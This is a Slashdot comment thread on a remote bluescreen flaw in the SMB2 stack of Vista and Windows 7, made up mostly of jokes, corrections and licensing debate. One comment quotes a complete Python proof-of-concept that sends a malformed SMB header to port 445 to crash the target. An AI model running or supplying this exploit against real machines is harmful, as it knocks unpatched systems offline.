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Windows 7 Reintroduces Remote BSoD

David Gerard writes "Remember the good old days of the 1990s, when you could teardrop attack any Windows user who'd annoyed you and bluescreen them? Microsoft reintroduces this popular feature in Windows 7, courtesy the rewritten TCP/IP and SMB2 stacks. Well done, guys! Another one for the Windows 7 Drinking Game."

29 of 427 comments (clear)

  1. Local? by MindStalker · · Score: 5, Interesting

    If it relies on a SMB2 request it is most likely restricted form request inside the LAN.
    Either way, still bad.

    1. Re:Local? by afidel · · Score: 4, Interesting

      Actually the headline is very misleading and that's bad. This affects SMB2 which is in Vista and Server 2008 as well, that means every Server 2008 system is likely vulnerable to a LAN based DoS attack.

      --
      There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
    2. Re:Local? by Sethb · · Score: 4, Interesting

      Uh, by default on modern incarnations of Windows, accounts without passwords are *not* allowed to log in remotely. So, they're extremely difficult to access remotely.

      --
      When in danger or in doubt, run in circles, scream and shout. --Robert A. Heinlein
    3. Re:Local? by poetmatt · · Score: 5, Funny

      well, now I know how to win any lan party contests :)

    4. Re:Local? by GameMaster · · Score: 5, Funny

      NOBODY EXPECT ATTACKS FROM INSIDE YOUR LAN!!!! Their chief weapon is surprise...surprise and fear...fear and surprise.... Their two weapons are fear and surprise...and ruthless efficiency.... Their *three* weapons are fear, surprise, and ruthless efficiency...and an almost fanatical devotion to rms.... Their *four*...no... *Amongst* their weapons.... Amongst their weaponry...are such elements as fear, surprise.... I'll come in again.

      --

      Rules of Conduct:
      #1 - The DM is always right.
      #2 - If the DM is wrong, see rule #1
    5. Re:Local? by afidel · · Score: 4, Informative

      What about the employee who just got fired who sets off an IP walk that crashes every file server? What about the employee that gets the malware of the day and it includes the ability for the 0wner to launch this attack inside your LAN? There's a lot more potential for abuse than just the prankster on the helpdesk deciding he wants to create some havoc.

      --
      There are 4 boxes to use in the defense of liberty: soap, ballot, jury, ammo. Use in that order. Starting now.
  2. Not a problem. by onion2k · · Score: 4, Funny

    It's incredibly unlikely to ever affect anyo

  3. I knew Windows 7 was too good to be true by commodore64_love · · Score: 5, Funny

    - Shiny-new interface.
    - No annoying "are you sure" popups every 30 seconds like Vista.
    - Can run on a 1 gigabyte machine without slowing to a crawl.

    It simply wasn't possible for Microsoft to make such a great perfect OS without including a flaw.

    --
    "I disapprove of what you say, but I will defend to the death your right to say it." - historian Evelyn Beatrice Hall
  4. Re:Big wow by mdm-adph · · Score: 4, Funny

    Yeah, we read the first three lines of the Wikipedia link, too.

    --
    It is by my will alone my thoughts acquire motion; it is by the juice of the coffee bean that the thoughts acquire speed
  5. Not consistent by james_a_craig · · Score: 5, Interesting

    Having actually tried this on three windows 7 machines now, it doesn't seem to work on every machine. (Actually, it's yet to work on any here, although I hear tell that it does work on some). There's something more to this than just "that data crashes it every time".

    1. Re:Not consistent by DoofusOfDeath · · Score: 4, Funny

      Having actually tried this on three windows 7 machines now, ...

      You must be popular with your coworkers.

    2. Re:Not consistent by Lulfas · · Score: 5, Informative

      It's because SMB and SMBv2 are firewalled straight out of the box. You have to turn on homegroup and then attempt to exploit. Not quite the "OMG SKY IS FALLING" that the summary leads us to believe.

  6. Correction! by David+Gerard · · Score: 5, Informative

    I was terribly unfair to Microsoft in the story summary (which is pretty much what I wrote) - per TFA, this flaw is actually an exciting new feature of Vista, not of Windows 7.

    And before anyone says "but Win7 is beta!" - this flaw is present in the gold master.

    --
    http://rocknerd.co.uk
    1. Re:Correction! by Anonymous Coward · · Score: 4, Informative

      And not exploitable out of the box since SMB and SMBv2 are both firewalled. Yes, if you turn on homegroup, you are opening SMBv2 through the firewall, but only for the private network - so the exploit would need to be coming from another machine at your house. All in all, a nasty issue but won't really affect that many people.

  7. Ahh, nice to see ... by UncHellMatt · · Score: 5, Funny

    ...that my fellow Boston Public School graduates are writing for seclists.org.

    Section V: "An attacker can remotly crash without no user interaction, any Vista/Windows 7 machine with SMB enable. "

    Yes, because we been done had seen that explot in the pasts.

    Dear $DEITY, are there no proof readers or editors alive on these sites?

  8. IP Reasons for SMB2 by eldavojohn · · Score: 4, Interesting

    they don't like introducing "new" things

    A slight correction, they like to introduce new things when it suits them. Why the rewrite of SMB into SMB2? Well, it has some technological advantages you would expect but according to Wikipedia:

    SMB 2 has two big benefits to Microsoft. The first is clear intellectual property ownership. SMB 1 was originally designed by IBM and was shipped on a wide variety of non-Windows operating systems such as SCO Xenix, OS/2 and DEC VMS (Pathworks). It was partially standardised by X/Open and also had draft standards for IETF which lapsed. (See http://ubiqx.org/cifs/Intro.html for historical detail).

    The second benefit is a clean break. Microsoft's SMB1 code has to work with a huge variety of SMB clients and servers. A large number of items in the protocol are optional (such as short and long filenames), there are many infolevels for commands (selecting what structure is returned to a particular request), Unicode was a later addition etc. With SMB2 there is significantly reduced compatibility testing (currently only other Windows Vista clients and servers). Additionally the code is a lot less complex since there is far less variability (e.g. there is no need to worry about having Unicode and non-Unicode code paths as SMB2 requires Unicode support).

    So you can see they like to introduce new things when it means they have clear intellectual property ownership rights over it and also a lot less work for them. They also don't have to be backwards compatible with their own products.

    While SAMBA 4.0 has experimental support for SMB2 interfacing, I'm guessing the "clear intellectual property" could spell trouble moving forward for Tridgell and the SAMBA team.

    --
    My work here is dung.
    1. Re:IP Reasons for SMB2 by eldavojohn · · Score: 4, Informative

      No, it won't. The specs are right here.

      "No, it won't" what? Possibly spell problems for the Samba team? From your link:

      Patents. Microsoft has patents that may cover your implementations of the technologies described in the Open Specifications. Neither this notice nor Microsoft's delivery of the documentation grants any licenses under those or any other Microsoft patents. However, a given Open Specification may be covered by Microsoft's Open Specification Promise (available here: http://www.microsoft.com/interop/osp) or the Community Promise (available here: http://www.microsoft.com/interop/cp/default.mspx). If you would prefer a written license, or if the technologies described in the Open Specifications are not covered by the Open Specifications Promise or Community Promise, as applicable, patent licenses are available by contacting iplg@microsoft.com ...

      Emphasis mine. So I'll correct myself, it may spell trouble for the Samba team. It's not clear. Which is essentially what I said. Do you really think iplg@microsoft.com will grant the Samba team a written license or possibly a patent license?

      Why do they use the ambiguous language quoted above if this is an open technology I'm not suppose to fear implementing? I mean, haven't we been threatened over this sort of thing before? It's not clear to me why Microsoft stops other products from interfacing with theirs (product lock in?) but I'm not about to give them the benefit of the doubt.

      --
      My work here is dung.
  9. Re:First Post by Rik+Sweeney · · Score: 4, Funny

    Let me Loony Tunes that up for you:

    Wabbit Season!
    Duck Season!

    Wabbit Season!
    Duck Season!

  10. Re:The difference is... by rastilin · · Score: 4, Insightful

    Rewritten software is a double-edged sword. On the one hand you are able to finally discard the truly broken sections of your previous implementation; allowing you to make massive leaps forward. On the other you're getting rid of a large list of known bugs and replacing it with an even larger list of unknown ones.

    One of the most useful features of old technolgy is that it breaks in predictable ways.

    So it's not too surprising that something like this happened. Doesn't worry me either, I have firewalls and a NAT on all my machines, no reason not to. However since it's something that happened before, it's irritating that Microsoft didn't think to check for something like this.

    --
    How do you kill that which has no life?
  11. Re:The difference is... by Sfing_ter · · Score: 4, Insightful

    really - unless the person sets the "Let Microsoft decide when and where I do updates" most of the updates WILL NOT be done. The average person uses the computer like a tv - turn it on to see the web and turn it off when done. Leave my computer on ALL NIGHT just so i can backup/run antivirus/run defrag/run etc. etc. ???

    Oh yeah these people do exist and they have 'FRIENDS' that 'KNOW' computers and 'HELP' them out by turning off that annoying UAC or giving them a 'FREE' version of office. The looks on their faces when I explain that the software they got off Limewire is infected with virus' - they can't believe microsoft would do that!!! THAT is the mentality, and that is why these attacks have always worked, and will always work.

    --
    A computer once beat me at chess, but it was no match for me at kick boxing. Emo Philips
  12. Please grow up, you're driving us away by Anonymous Coward · · Score: 5, Insightful

    Hi. I'm an adult. I work as a software engineer.

    I cannot join in with the Linux community because of you people. You're just *too awful*. Instead of accepting that this stuff happens and it's bad, you childishly nerdsnort and start writing Microsoft with a dollar sign instead of an S, acting as if this stuff is some amazing manifestation of idiocy rather than a likely consequence of using a mainstream OS developed with time and budgetary constraints. It's going to have stupid bugs. Get the fuck over it.

    I would like to join in with the Linux community, but all I ever hear is this pathetic nyerr-nyerr-nyerr garbage.

    If you want to attract intelligent, grown-up people to Linux you need to stop doing certain things.

    1) Don't act as if users of other operating systems are less intelligent than you. It turns out that Linux-advocacy isn't the entire world, and that leaders in different fields (or even this one!) might be using Windows. They're not "lusers", they just have priorities different from your own.

    2) Don't act as if Linux hasn't had equally stupid stuff happen to it. Yes, it's a different process altogether, and I would dare say that bugs are less likely due to its open source nature, but they still happen. One that I can remember off the top of my head is Debian's guessable SSL keys.

    3) Try—for ten minutes—to give the impression that half of your time isn't devoted to bashing an OS you believe is irrelevant.

    4) For good measure try cutting out the xkcd worship and meme-spouting. We might be able to relate to you people if you acted as if you weren't cut from the same distasteful mold.

    1. Re:Please grow up, you're driving us away by Anonymous Coward · · Score: 5, Insightful

      The pubertal masses of Slashdot != The Linux community

    2. Re:Please grow up, you're driving us away by Ash-Fox · · Score: 5, Informative

      I cannot join in with the Linux community because of you people.

      I'm sorry, Sir. This is not the Linux community, this is the Slashdot community.

      If you want the Linux community, go to http://www.kernel.org/

      I would like to join in with the Linux community, but all I ever hear is this pathetic nyerr-nyerr-nyerr garbage.

      If you look on kernel.org, there is none of this garbage. You are mistaken.

      --
      Change is certain; progress is not obligatory.
  13. For all who want a more technical summary of TFA: by Seth+Kriticos · · Score: 5, Informative

    Vulnerable systems are all with SMB2 drivers: Vista, W7 and probably Server 2008

    The exploit (which is actually ridiculously simple) goes as follows:

    #!/usr/bin/python
    # When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
    # PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
    from time import sleep

    host = "IP_ADDR", 445
    buff = (
    "\x00\x00\x00\x90" # Begin SMB header: Session message
    "\xff\x53\x4d\x42" # Server Component: SMB
    "\x72\x00\x00\x00" # Negociate Protocol
    "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
    "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
    "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
    "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
    "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
    "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
    "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
    "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
    "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
    "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
    "\x30\x30\x32\x00"
    )
    s = socket()
    s.connect(host)
    s.send(buff)
    s.close()

    Current problem solution: disable the SMB protocol on your infrastructure..

    Now please excuse me, I have go and play a bit with our network admin.. /joke

  14. "RE"-introducing? by WED+Fan · · Score: 4, Interesting

    The article makes it seem like it hasn't been in Windows since Windows NT and that Windows 7 is the first time it's reappeared. Seriously, Vista has it.

    Is this a case of "It's after midnight, must post another slam on Microsoft, even if we have twist and stretch like taffy to make the case"?

    It wouldn't be so bad but the body of the submission is incredibly slanted, almost more than some of the replies.

    --
    Politics is the art of looking for trouble, finding it everywhere, diagnosing it incorrectly and applying the wrong fix.
    1. Re:"RE"-introducing? by David+Gerard · · Score: 5, Funny

      Yeah, reading error on my part. Sorry about that. Let's give Vista credit where it's due!

      --
      http://rocknerd.co.uk
    2. Re:"RE"-introducing? by moranar · · Score: 4, Insightful

      So you mean the problem is _less serious_ by the fact that it's been on _more_ Windows versions than stated? Maybe you mean that MS has said 'it's not a problem because this and that?'

      --
      "I think it would be a good idea!"
      Gandhi, about Internet Security
    3. Re:"RE"-introducing? by jedidiah · · Score: 4, Insightful

      You make it sound like a gaping security hole is alright just because it's been in the product long enough that people might have forgotten about it.

      If anything, this makes it sound like Windows 7 is the same old crap and that once again we have empty promises from Microsoft claiming that they will do things right this time.

      Windows users are like domestic abuse victims.

      --
      A Pirate and a Puritan look the same on a balance sheet.
    4. Re:"RE"-introducing? by David+Gerard · · Score: 5, Funny

      But Macs cost too much, and Linux is too hard. And Microsoft only hits me because he loves me.

      --
      http://rocknerd.co.uk